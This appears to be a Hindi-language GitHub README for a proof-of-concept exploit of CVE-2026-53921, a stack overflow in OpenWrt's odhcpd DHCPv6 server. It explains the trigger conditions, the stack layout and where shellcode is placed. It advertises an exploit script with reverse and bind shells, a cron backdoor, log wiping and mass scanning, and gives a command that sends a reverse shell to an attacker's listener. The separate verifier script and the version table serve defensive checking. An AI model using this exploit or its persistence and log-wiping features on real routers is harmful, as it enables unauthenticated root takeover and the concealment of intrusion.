CVE-2026-53921

CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो

⚠️ केवल शैक्षिक और अधिकृत परीक्षण के लिए। अनधिकृत उपयोग अवैध है।

📖 भेद्यता अवलोकन

CVE-2026-53921 OpenWrt के odhcpd डेमॉन में एक गंभीर स्टैक बफर ओवरफ्लो है – जो डिफ़ॉल्ट DHCPv6/DHCPv4/RA सर्वर है।

🔍 यह कैसे काम करता है

यह भेद्यता odhcpd के DHCPv6 संदेश प्रबंधन कोड में मौजूद है, विशेष रूप से build_ia() और dhcpv6_ia_handle_IAs() फ़ंक्शनों में।

तकनीकी गहन विश्लेषण

1. मूल कारण

यह बग DHCPv6 रिप्लाई पैकेटों के serialization (पैकिंग) के दौरान होता है। जब odhcpd क्लाइंट अनुरोधों का जवाब देता है, तो यह उत्तर को 512 बाइट्स के निश्चित आकार के स्टैक बफर में बिना उचित बाउंड्स जाँच के तैयार करता है।

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // ❌ No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. ओवरफ्लो को ट्रिगर करना

एक हमलावर DHCPv6 Request (या Solicit) भेजता है जिसमें:

5 या अधिक IA_NA (Identity Association for Non-temporary Address) विकल्प, प्रत्येक में एक IAAddress उप-विकल्प होता है।
22 या अधिक IA_PD (Identity Association for Prefix Delegation) विकल्प।

प्रत्येक विकल्प स्टैक स्थान का उपभोग करता है जब odhcpd अपना रिप्लाई बनाता है। संचित डेटा 512 बाइट्स से अधिक हो जाता है, जिससे ओवरफ्लो होता है।

3. दो ओवरफ्लो वेक्टर

वेक्टर ट्रिगर ओवरफ्लो बिंदु

साइट 1 5 IA_NA विकल्प build_ia() for IA_NA IPv6 पतों के साथ

साइट 2 22 IA_PD विकल्प `build_ia()` for IA_PD

मूल कारण समान है, लेकिन ओवरफ्लो अलग-अलग कोड पथों में होता है, जिससे दोनों वेक्टर समान रूप से शोषण योग्य बन जाते हैं।

4. मेमोरी लेआउट

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

5. शोषण आवश्यकताएँ

आवश्यकता विवरण

नेटवर्क एक्सेस हमलावर के पास लक्ष्य तक IPv6 कनेक्टिविटी होनी चाहिए

प्रमाणीकरण कोई नहीं -- बिना प्रमाणीकरण वाला हमला

विशेषाधिकार odhcpd रूट के रूप में चलता है, इसलिए RCE पूर्ण सिस्टम नियंत्रण प्रदान करता है

लक्ष्य सेवा UDP पोर्ट 547 (DHCPv6) खुला होना चाहिए

6. शेलकोड स्थान

एक वास्तविक एक्सप्लॉइट में, हमलावर का शेलकोड IAAddress IPv6 पता फ़ील्ड्स (प्रति IA_NA 16 बाइट्स) में रखा जाता है। क्राफ्ट किए गए पैकेट शेलकोड, NOP sled और रिटर्न एड्रेस को इन फ़ील्ड्स में पैक करते हैं।

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. प्रभाव श्रृंखला

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. हमले के वेक्टर बनाम शमन स्थिति

संस्करण स्थिति RCE संभव?

odhcpd < e432dd6 असुरक्षित ✅ हाँ OpenWrt < 24.10.8 असुरक्षित ✅ हाँ OpenWrt < 25.12.5 असुरक्षित ✅ हाँ OpenWrt 24.10.8+ पैच किया गया ❌ नहीं OpenWrt 25.12.5+ पैच किया गया ❌ नहीं odhcpd master + e432dd6 पैच किया गया ❌ नहीं

9. वास्तविक दुनिया में शोषण

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:

OpenWrt इंस्टॉलेशन पर odhcpd डिफ़ॉल्ट रूप से सक्षम है।
कोई प्रमाणीकरण आवश्यक नहीं है---समान IPv6 सेगमेंट पर कोई भी डिवाइस हमला कर सकता है।
बग अनुरोध प्रोसेसिंग पथ में है।
एम्बेडेड MIPS/ARM डिवाइसों पर स्टैक कैनरी और ASLR शायद ही उपस्थित होते हैं।
एक्सप्लॉइट कई एम्बेडेड वातावरणों में सामान्य सुरक्षा उपायों को बायपास कर सकता है।

🎯 प्रभावित संस्करण

घटक	असुरक्षित संस्करण	इसमें ठीक किया गया
`odhcpd` (master branch)	कमिट `e432dd6` से पहले	`e432dd6` या बाद का
OpenWrt रिलीज़	< 24.10.8 < 25.12.5	24.10.8 & 25.12.5

🧰 उपकरण

यह रिपॉज़िटरी दो स्वतंत्र स्क्रिप्ट प्रदान करता है:

स्क्रिप्ट	उद्देश्य	एक्सप्लॉइट कोड	सुरक्षा
`verifier.py`	गैर-आक्रामक भेद्यता जाँच	❌ नहीं	✅ सुरक्षित
`exploit.py`	पूर्ण सशस्त्र एक्सप्लॉइट	✅ हाँ	⚠️ खतरनाक

🔎 `verifier.py` – भेद्यता जाँचकर्ता

सेवा सक्रिय है यह सत्यापित करने के लिए एक मानक DHCPv6 Solicit भेजता है।
OpenWrt संस्करण का पता लगाने के लिए HTTP/SSH बैनर पढ़ता है।
संस्करण की तुलना ज्ञात असुरक्षित सीमा से करता है।
कोई ओवरफ्लो पेलोड या शेलकोड नहीं भेजता है।

💥 `exploit.py` – पूर्ण एक्सप्लॉइट

दोहरे ओवरफ्लो वेक्टर: IA_NA (साइट1) और IA_PD (साइट2)।
स्वचालित आर्किटेक्चर पहचान (MIPS / ARM)।
MIPS बिग-एंडियन रिवर्स और बाइंड शेलकोड।
SOCKS5 प्रॉक्सी के लिए समर्थन।
पर्सिस्टेंस (cron बैकडोर) और लॉग मिटाना।
थ्रेडेड स्कैनिंग और बड़े पैमाने पर शोषण।
वैकल्पिक पेलोड एन्कोडिंग (XOR)।

🚀 इंस्टॉलेशन

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

📝 उपयोग

🔍 वेरिफायर – जाँचें कि लक्ष्य असुरक्षित है या नहीं

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

💥 एक्सप्लॉइट – रिवर्स शेल प्राप्त करें (अवैध गतिविधि के लिए उपयोग न करें, केवल परीक्षण हेतु)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

⚙️ कमांड-लाइन विकल्प

`verifier.py`

तर्क	विवरण
`-u, --target`	लक्ष्य IPv6 पता (आवश्यक)
`-i, --iface`	नेटवर्क इंटरफ़ेस (डिफ़ॉल्ट: eth0)

सबसे लोकप्रिय

विवरण

CVE-2026-53921-PoC-Exploit